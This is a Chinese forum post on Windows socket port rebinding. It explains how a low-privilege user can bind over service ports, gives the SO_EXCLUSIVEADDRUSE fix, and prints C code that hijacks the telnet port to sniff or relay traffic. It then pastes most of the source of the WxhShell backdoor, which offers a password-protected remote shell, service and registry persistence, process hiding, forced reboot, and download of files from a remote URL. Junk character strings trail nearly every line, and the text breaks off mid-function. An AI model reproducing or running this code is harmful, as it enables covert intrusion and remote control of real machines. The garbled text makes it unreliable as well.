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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZKpJc'h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dh&> E  
[+ xsX*+  
  saddr.sin_family = AF_INET; HiH<'m"\.  
PB8g4-?p6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )4c?BCgy  
D>HbJCG4^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8Gnf_lkI  
\[^! ys  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kLU-4W5t  
DrC"M*$!  
  这意味着什么?意味着可以进行如下的攻击: ['sNk[-C  
_nxH;Za  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T&b_*)=S  
FoH1O+e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c-n/E. E  
e t@:-}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (j??  
+8itP>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FU>KiBV#  
-)}Z $;1a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `.3@Ki~$#  
h0g?=hJq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /S1/ZI  
5s`r&2 w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )7o? }"I  
p:W]  
  #include .jk A'i@  
  #include ;e/F( J  
  #include 18Z1F  
  #include    kV4Oq.E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3JBXGT0gJ  
  int main() 6ST(=X_C  
  { Gsb^gd  
  WORD wVersionRequested; N)R5#JX  
  DWORD ret; *L$_80  
  WSADATA wsaData; fF r9]  
  BOOL val; k{N!}%*2  
  SOCKADDR_IN saddr; NX.5 u8Pf  
  SOCKADDR_IN scaddr; .8!\6=iJB  
  int err; v:yU+s|kN  
  SOCKET s; y1Z>{SDiq  
  SOCKET sc; [w|Klq5  
  int caddsize; _6ck@  
  HANDLE mt; c1jR j=\  
  DWORD tid;   g,]m8%GHE  
  wVersionRequested = MAKEWORD( 2, 2 ); J@6j^U  
  err = WSAStartup( wVersionRequested, &wsaData ); t H.L_< N  
  if ( err != 0 ) { QeuM',6R  
  printf("error!WSAStartup failed!\n"); =|ODa/2 p  
  return -1; [3nWxFz$R  
  } dr:x0>  
  saddr.sin_family = AF_INET; m;MJ{"@A'  
   18QqZ,t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uW=G1 *n-  
O#=%t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -eyF9++`  
  saddr.sin_port = htons(23); dM= &?g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s- PS]l@  
  { W0~G`A(:;  
  printf("error!socket failed!\n"); %<(d %&~  
  return -1; |l+5E   
  } 8B?U\cfa^  
  val = TRUE; ~~-VScG&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ftR& 5 !Wm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 83t/ \x,Q  
  { cGgfCF^`  
  printf("error!setsockopt failed!\n"); c$7~EP  
  return -1; gK({InOP  
  } KU9FHN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }YFM4 0H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Mh5> hD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q [rZ1z  
UF#!6"C@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F=1 #qo<?  
  { yxp,)os:  
  ret=GetLastError(); :;]9,n  
  printf("error!bind failed!\n"); A`Y^qXFb`  
  return -1; d!0rq4v7  
  } TPk?MeVy%W  
  listen(s,2); Wtc ib-  
  while(1) SM4`Hys;p  
  { B\)Te9k'  
  caddsize = sizeof(scaddr); ;..z)OP_  
  //接受连接请求 b(;u2 8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `Y4Kw  
  if(sc!=INVALID_SOCKET) c:7F 2+p  
  { 2*z~ 'i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uMZ~[S z  
  if(mt==NULL) W3/bM>1  
  { $KGMAg/H  
  printf("Thread Creat Failed!\n"); !uW*~u  
  break; *S:~U  
  } 89(qU  
  } 0h*Le  
  CloseHandle(mt); 6` TwP\!$/  
  } J*$%d1  
  closesocket(s); $$1t4=Pz  
  WSACleanup(); Zdqm|_R[  
  return 0; |;wc8;  
  }   gI;"PkN  
  DWORD WINAPI ClientThread(LPVOID lpParam) )c' 45 bD  
  { \\KjiT'  
  SOCKET ss = (SOCKET)lpParam; ^?+[yvq  
  SOCKET sc; P{6$".kIY  
  unsigned char buf[4096]; Rq5'=L  
  SOCKADDR_IN saddr; '!7>*<  
  long num; '%[ Y  
  DWORD val; >aO.a[AM  
  DWORD ret;  c2M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {&IB[Y6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W?.469yy  
  saddr.sin_family = AF_INET; 7UMZs7L$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0HoHu*+FX  
  saddr.sin_port = htons(23); pS ](Emn`.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :)lG}c  
  { |di(hY|  
  printf("error!socket failed!\n"); 'QT~o-U  
  return -1; ?`Yu~a{  
  } W{"sB:E  
  val = 100; ?I[8rzBWU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lTMY|{9  
  { O?Bf (y  
  ret = GetLastError(); v7 *L3Ol  
  return -1; nXLz<wE  
  } ?o;ip  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mu[lk=jC  
  { #:gl+  
  ret = GetLastError(); 2MRd  
  return -1; OVi < d  
  } fc*>ky.v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1#,4P1"  
  { rxgSQ+G_  
  printf("error!socket connect failed!\n"); 9,INyEyAL  
  closesocket(sc); B\RAX#  
  closesocket(ss); Zpkd8@g@  
  return -1; iv~R4;;)  
  } Nt@|l7Xl*  
  while(1) s"=TM$Vb  
  { 8c)GUx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nD BWm`kN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $45|^.b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]|CcQ1#|H  
  num = recv(ss,buf,4096,0); A,<5W }  
  if(num>0) 9m)$^U>oz  
  send(sc,buf,num,0); Hp=BnN  
  else if(num==0) -a)1L'R  
  break; A r]*?:4y[  
  num = recv(sc,buf,4096,0); >fXtu:C-!J  
  if(num>0) qKfUm:7Q_  
  send(ss,buf,num,0); eavn.I8J  
  else if(num==0) &Uam4'B6-  
  break; bQautRW  
  } HXKM<E{j  
  closesocket(ss); q8d](MaX  
  closesocket(sc); Ow/,pC >V  
  return 0 ; gD 6S%O  
  } aKriO  
}g/u.@E  
(NLw#)?  
========================================================== D;0>-  
{O2=K#J  
下边附上一个代码,,WXhSHELL YQN:&Cls  
E,6|-V;?  
========================================================== $M)i]ekm  
_,L_H[FN  
#include "stdafx.h" &6vaLx  
w/*G!o- <  
#include <stdio.h> toPbFU'  
#include <string.h> 7?whxi Qs  
#include <windows.h> #]jl{K\f#X  
#include <winsock2.h> ,6{z  
#include <winsvc.h> e' l9  
#include <urlmon.h>  7(+4^  
'Eur[~k  
#pragma comment (lib, "Ws2_32.lib") Ljm`KE\Q;t  
#pragma comment (lib, "urlmon.lib") `#ruZM066  
D;> 7y}\  
#define MAX_USER   100 // 最大客户端连接数 v@%4i~N  
#define BUF_SOCK   200 // sock buffer ~x,_A>a  
#define KEY_BUFF   255 // 输入 buffer 6AJk6 W^Z  
bs"J]">(N  
#define REBOOT     0   // 重启 {OEjITm  
#define SHUTDOWN   1   // 关机 4C3_ gm  
p$ \>3\  
#define DEF_PORT   5000 // 监听端口 ]oV{JR]  
 b M1\z  
#define REG_LEN     16   // 注册表键长度 RdPk1?}K  
#define SVC_LEN     80   // NT服务名长度 i4|R0>b  
nm1dd{U6^  
// 从dll定义API [L+*pW+$\.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k4V3.i!E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @6'~RD.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VG 5*17nf5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O"'xAPQW  
v'S]g^  
// wxhshell配置信息 &K0b3AWc  
struct WSCFG { HQP.7.w7 5  
  int ws_port;         // 监听端口 $,~Ily7w  
  char ws_passstr[REG_LEN]; // 口令 1GK.:s6.f  
  int ws_autoins;       // 安装标记, 1=yes 0=no +XsE  
  char ws_regname[REG_LEN]; // 注册表键名 Z|E9}Il]  
  char ws_svcname[REG_LEN]; // 服务名 qqw P4ceG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g:fvg!_v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5=C?,1F$A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o9e8Oj&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I #1~CbR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cK1^jH<|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Kq<U%x$  
4 -tC=>>wc  
}; 32 i6j  
[cnu K  
// default Wxhshell configuration VP A+/5TW  
struct WSCFG wscfg={DEF_PORT, Z}$sY>E  
    "xuhuanlingzhe", -Rw3[4>@O"  
    1, OCrTzz8  
    "Wxhshell", `*vO8v  
    "Wxhshell", Ts !g=F  
            "WxhShell Service", @6G)(NGD  
    "Wrsky Windows CmdShell Service", R/v|ZvI  
    "Please Input Your Password: ", zTcz+3x  
  1, I9Ohz!RQ  
  "http://www.wrsky.com/wxhshell.exe", +H3~Infr4f  
  "Wxhshell.exe" iKaX8c,zI  
    }; k3$'K}=d  
`'s_5Ek  
// 消息定义模块 rQ* w3F?:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u9f^wn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U*a#{C7"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J`5+Zngr  
char *msg_ws_ext="\n\rExit."; ;9j ]P56  
char *msg_ws_end="\n\rQuit."; Xq$-&~   
char *msg_ws_boot="\n\rReboot..."; VkJ">0k  
char *msg_ws_poff="\n\rShutdown..."; n0l|7:Mk  
char *msg_ws_down="\n\rSave to "; @HbRfD/!  
KhWy  
char *msg_ws_err="\n\rErr!"; W~mo*EJ'^  
char *msg_ws_ok="\n\rOK!"; t}R!i-D|HB  
(@} ^ 3jpT  
char ExeFile[MAX_PATH]; @;eH~3P  
int nUser = 0; :'bZ:J>f  
HANDLE handles[MAX_USER]; j:cu;6|  
int OsIsNt; \L(jNN0_R  
: 2%eh  
SERVICE_STATUS       serviceStatus; 5Yv*f:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x,^-a  
^rfR<Q`  
// 函数声明 enPtW  
int Install(void); "m^gCN}c  
int Uninstall(void); TI3xt-/  
int DownloadFile(char *sURL, SOCKET wsh); 9mHCms  
int Boot(int flag); 7kV$O(4  
void HideProc(void); q* lk9{>  
int GetOsVer(void); liYsUmjZ=  
int Wxhshell(SOCKET wsl); d"n>Q Tn\  
void TalkWithClient(void *cs); h i!K-_Uy  
int CmdShell(SOCKET sock); OulRqbL2  
int StartFromService(void); 75H!i$(*+  
int StartWxhshell(LPSTR lpCmdLine); =b$g_+  
g"sb0d9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EC$F|T0f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {Yxvb**  
s;P _LaIp)  
// 数据结构和表定义 }BS EK<W  
SERVICE_TABLE_ENTRY DispatchTable[] = (+v':KH3_  
{ 7a9">:~  
{wscfg.ws_svcname, NTServiceMain}, oU1N>,  
{NULL, NULL} Ch?yk^cY  
}; iyCH)MA  
KLM6#6`  
// 自我安装 z#RwgSPw6  
int Install(void) MX~h>v3_R4  
{ \ &|xMw[  
  char svExeFile[MAX_PATH]; qWK}  
  HKEY key; }2LG9B%  
  strcpy(svExeFile,ExeFile); fV4eGIR&  
P\ P=1NM  
// 如果是win9x系统,修改注册表设为自启动 =?Ry,^=b  
if(!OsIsNt) { =55)|$hgD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ])y)]H#{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I;jH'._k#  
  RegCloseKey(key); DOtz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H$?MPA-c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W:<2" &7  
  RegCloseKey(key); |goBIp[  
  return 0; Ow?~+) 4  
    } '2l[~T$*  
  } @}UOm- M  
} y+BiaD!U  
else { 9*j"@Rm  
)X#$G?|Hn  
// 如果是NT以上系统,安装为系统服务 v89tV9O)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); " xC$Ko _  
if (schSCManager!=0) w\ '5l k,"  
{ W!el[@  
  SC_HANDLE schService = CreateService G :+D1J]  
  ( % }b  
  schSCManager, w@WtW8 p^  
  wscfg.ws_svcname, w`boQ_Ir  
  wscfg.ws_svcdisp, Y_$!XIJ4  
  SERVICE_ALL_ACCESS, )LG!"~qiz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )5`^@zx  
  SERVICE_AUTO_START, _Iy)p{y  
  SERVICE_ERROR_NORMAL, oSYJXs  
  svExeFile, eY Rd#w  
  NULL, Zu#^a|PE*  
  NULL, vKoQ!7g  
  NULL, }6u}?>S  
  NULL, 'GW~~UhdW  
  NULL T: '<:*pD  
  ); q\P{h ij  
  if (schService!=0) 7KC2%s#7  
  { @?tR-L<u  
  CloseServiceHandle(schService); (Z@- e^R  
  CloseServiceHandle(schSCManager); S5m.oHJI*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %[*_-%  
  strcat(svExeFile,wscfg.ws_svcname); e#6H[t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  w D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  [Ketg  
  RegCloseKey(key); C.=%8|Zy  
  return 0; F$v^S+Ch  
    } cPL6(&7  
  } 'U@Ep  
  CloseServiceHandle(schSCManager); \RVfgfe  
} "OP$n-*@%  
} W:f)#'  
Tpnwwx[]:|  
return 1; |&S^L}V.C  
} Ei,dO;&  
=*(_sW6;  
// 自我卸载 N^`S'FVA  
int Uninstall(void) e'|P^G>g  
{ V?MaI .gj  
  HKEY key; +A 6kw%"  
A@.ruG$  
if(!OsIsNt) { ?)qm=mebY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0a?[@ -Sz  
  RegDeleteValue(key,wscfg.ws_regname); IH=%%AS  
  RegCloseKey(key); vO zUAi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g$=']A?W_  
  RegDeleteValue(key,wscfg.ws_regname); jxw8jo06:  
  RegCloseKey(key); 4[r:DM|8  
  return 0; bA"*^"^  
  } 7'.6/U  
} #)DDQ?D  
} ayf;'1  
else { U z)G Y  
0rDQJCm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <aMihT)dd  
if (schSCManager!=0) wXeJjE%j:3  
{ EffU-=?%!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hg]iZ,8?  
  if (schService!=0) %E":Wv  
  { wuqB['3  
  if(DeleteService(schService)!=0) { d m83YCdL  
  CloseServiceHandle(schService); jA3Ir;a  
  CloseServiceHandle(schSCManager); <UwA5X`0e.  
  return 0; Qmv8T ^+  
  } :$^sI"hO  
  CloseServiceHandle(schService); >va9*pdJ  
  } }N3Ur~X\  
  CloseServiceHandle(schSCManager); _rUsb4r  
} "y .(E7 6  
} #=fd8}9  
7&dPrnQX=  
return 1; v Dph}Z  
} bsWDjV~  
n QOLR? %  
// 从指定url下载文件 SP|Dz,o  
int DownloadFile(char *sURL, SOCKET wsh) wqn }t]  
{ wGpw+O  
  HRESULT hr; y?s#pSX;N  
char seps[]= "/"; wdgC{W Gl  
char *token; aj]%c_])(  
char *file; 0 KWi<G1  
char myURL[MAX_PATH]; y-7$HWn  
char myFILE[MAX_PATH]; KMkX0+Ao  
~o/e0  
strcpy(myURL,sURL); J@9E20$  
  token=strtok(myURL,seps); <Y#EiC.  
  while(token!=NULL) /I#SP/M&l  
  { %$(*.o!+8  
    file=token; z:tu_5w!,  
  token=strtok(NULL,seps); k@C]~1  
  } gl6*bB=  
Y4/ !b  
GetCurrentDirectory(MAX_PATH,myFILE); ?37Kc,o  
strcat(myFILE, "\\"); r`=!4vY2  
strcat(myFILE, file); z9*7fT  
  send(wsh,myFILE,strlen(myFILE),0);  N5GQ2V  
send(wsh,"...",3,0); -}<W|r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cW, 6 MAQo  
  if(hr==S_OK) R$ 40cW3`  
return 0;  ^pZ\:  
else G0$,H(]~  
return 1; |FD-q.AV  
!*|`-woE  
} %xI,A'#  
Si%K|$?@  
// 系统电源模块 3Q(#2tL=  
int Boot(int flag) rsvGf7C  
{ !~aDmY 2  
  HANDLE hToken; ~C],?X(zk  
  TOKEN_PRIVILEGES tkp; 7b[vZNi_  
}q@Jh*  
  if(OsIsNt) { ,`< [ej   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K1Wiiw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ijWn,bj  
    tkp.PrivilegeCount = 1; )0Lv-Gs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oBTRO0.s+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ul3._Q   
if(flag==REBOOT) { gnSb)!i>z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {p(.ck ze+  
  return 0; \lpR+zaF  
} U ()36  
else { 8U>f/dxLOO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }<kpvd+ps=  
  return 0; m-No 8)2yA  
} 7[W! Nx  
  } Rm!Iv&{  
  else { @RF !p  
if(flag==REBOOT) { {__"Z<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6rOd80\  
  return 0; sjV>&eb  
} !j?2HlIK+  
else { _/5mgn<GK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H{ CG/+x  
  return 0; E7qk>~Dg  
}  qTL]  
} miZ&9m  
aE( j_`L78  
return 1; Mrlv(1PQT  
} J0M7f]  
*:3`$`\54  
// win9x进程隐藏模块 ( XoL,lJ  
void HideProc(void) RcH",*U  
{ N&t+*kF_  
A/EW57v"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %g4G&My@J  
  if ( hKernel != NULL ) >;.'$-  
  { |};P"&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {1V~`1(w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )xuvY3BPB?  
    FreeLibrary(hKernel); QvH=<$  
  } Zg/ra1n  
#;6YADk2_  
return; g2v 0!  
} ?_9A`LC*  
iIoeG_^*Y  
// 获取操作系统版本 4c*?9r@  
int GetOsVer(void) w QX,a;Br  
{ Rb~NX  
  OSVERSIONINFO winfo; Vn-y<*np  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b*xw=G3%  
  GetVersionEx(&winfo); /}\EMP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0a??8?Q1G  
  return 1; !giL~}j(R  
  else "$*&bC#dE  
  return 0; 4jl UyAD  
} ljTnxg/? W  
_Jc[`2Uv_c  
// 客户端句柄模块 Re{vO&.  
int Wxhshell(SOCKET wsl) +KV`+zic+  
{ J?~El&  
  SOCKET wsh; i5sNCt  
  struct sockaddr_in client; l* =\0  
  DWORD myID; i[_WO2  
C$~2FTx  
  while(nUser<MAX_USER) >'^Tp7\  
{ Uv~r]P)  
  int nSize=sizeof(client); Y9)uy 8c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %OeA"#  
  if(wsh==INVALID_SOCKET) return 1; lU0'5!3R,  
+wU9d8W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RHdcRojF  
if(handles[nUser]==0) )B86  
  closesocket(wsh); -lL(:drn  
else bZ0mK$B  
  nUser++; @-9I<)Z/2  
  } }]ak6'|[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eot]VO:  
`<1o}r 7i  
  return 0; 6px(]QU  
} Wp" +\{@)  
:d v{'O  
// 关闭 socket B zmmE2~*  
void CloseIt(SOCKET wsh) x$o?ckyH  
{ cRm+?/  
closesocket(wsh); 0drt,k  
nUser--; K!c "g,S  
ExitThread(0); *w> dT  
} 5hN`}Ve  
/UP&TyZ  
// 客户端请求句柄 e5/f%4YX  
void TalkWithClient(void *cs) [&e|:1  
{ m5c?A+@fZ  
{O ]^8#v^  
  SOCKET wsh=(SOCKET)cs; TYv'#{  
  char pwd[SVC_LEN]; ]}t6V]`Q  
  char cmd[KEY_BUFF]; =hZ#Z]f  
char chr[1]; 3 q1LIM  
int i,j; rucgav  
e :(7$jo  
  while (nUser < MAX_USER) { w$Zi'+&*  
]_!5g3VQh  
if(wscfg.ws_passstr) { b.mcP@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LH7m >/LJr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); us j:I`>  
  //ZeroMemory(pwd,KEY_BUFF); '3BBTr%aZ  
      i=0; k!?sHUAj  
  while(i<SVC_LEN) { S$~T8_m^U  
99<]~,t=5  
  // 设置超时 ,X+LJe$  
  fd_set FdRead; =35g:fL  
  struct timeval TimeOut; ]Sj<1tx7f  
  FD_ZERO(&FdRead); O+iNR9O  
  FD_SET(wsh,&FdRead); X:N`x  
  TimeOut.tv_sec=8; } Xbmb8  
  TimeOut.tv_usec=0; _C`&(?}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0R2KI,WI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J,iS<lV_  
'e&L53n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <}uhKp>*  
  pwd=chr[0]; 0m2%ucKw  
  if(chr[0]==0xd || chr[0]==0xa) { N>pTl$\4  
  pwd=0; 1SAO6Wh  
  break; olm0O  (9  
  } hn`yc7<}(u  
  i++; Q$Q>pV;uH  
    } wh Hp}r  
v11Uw?CM  
  // 如果是非法用户,关闭 socket FIMM\W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RSfB9)3D  
} ;$nCQ/ /  
NUO#[7OK+x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7)RDu,fx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (YV]T!q  
scc+r  
while(1) { d/"%fpp^0G  
B4 k5IS  
  ZeroMemory(cmd,KEY_BUFF); 6o:b(v&Oo  
$?Km3N\?v  
      // 自动支持客户端 telnet标准   fA$2jbGW  
  j=0; ltWEA  
  while(j<KEY_BUFF) { L`2(u!i J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t.rlC5 k  
  cmd[j]=chr[0]; XY`{F.2h  
  if(chr[0]==0xa || chr[0]==0xd) { SO|!x}GfI  
  cmd[j]=0; 9q/k,g  
  break; fw&cv9X(IU  
  } F ,;B  
  j++; wiFA 3_\G  
    } @vc9L  
<lkt'iT=Sz  
  // 下载文件 A!$;pwn0  
  if(strstr(cmd,"http://")) { "cZ){w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  *KV^ X(/  
  if(DownloadFile(cmd,wsh)) >sm~te$5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R+*-i+]Q#7  
  else R@df~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uv|RpIve:  
  } sB@9L L]&|  
  else { ~0@ uR  
<@S'vcO  
    switch(cmd[0]) { Leu6kPk  
  oA*88c+{f  
  // 帮助 A(D>Zh6o@  
  case '?': { u?4d<%5R!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @?n~v^  
    break; r1&eA%eh  
  } {i<L<Y(3  
  // 安装 |4C5;"Pc  
  case 'i': { <YM!K8hu$  
    if(Install()) P<CPA7K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2RU/oqmR  
    else ~v@.YJoZ4Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wzj :PS  
    break; HIq e~Vc  
    } FrsXLUY  
  // 卸载 &c^tJ-s  
  case 'r': { \zJb}NbnT  
    if(Uninstall()) ms&6N']  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r0Zj'F_e  
    else C14"lB.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3o2x&v  
    break; /[qLf:rGI  
    } #e[S+a  
  // 显示 wxhshell 所在路径 (j(hr'f  
  case 'p': { -]Ny-[P  
    char svExeFile[MAX_PATH]; yJ:rry  
    strcpy(svExeFile,"\n\r"); :-Wh'H(  
      strcat(svExeFile,ExeFile); HPY;U N  
        send(wsh,svExeFile,strlen(svExeFile),0); [Mk:Zz%  
    break; /s~BE ,su  
    } yR% l[/ X  
  // 重启 )GfL?'Z  
  case 'b': { 2U`!0~pod  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^v&"{2  
    if(Boot(REBOOT)) Nh01NY;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rA|&G'  
    else { '};mBW4z  
    closesocket(wsh); \Ez&?yb/  
    ExitThread(0); '=+gwe M  
    } M4n0GWHLy  
    break; gg.lajX  
    } U]&/F{3 im  
  // 关机 K1=j7  
  case 'd': { kp Rk.Q*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0Q~\1D 9g  
    if(Boot(SHUTDOWN)) ^)o#/"JA  
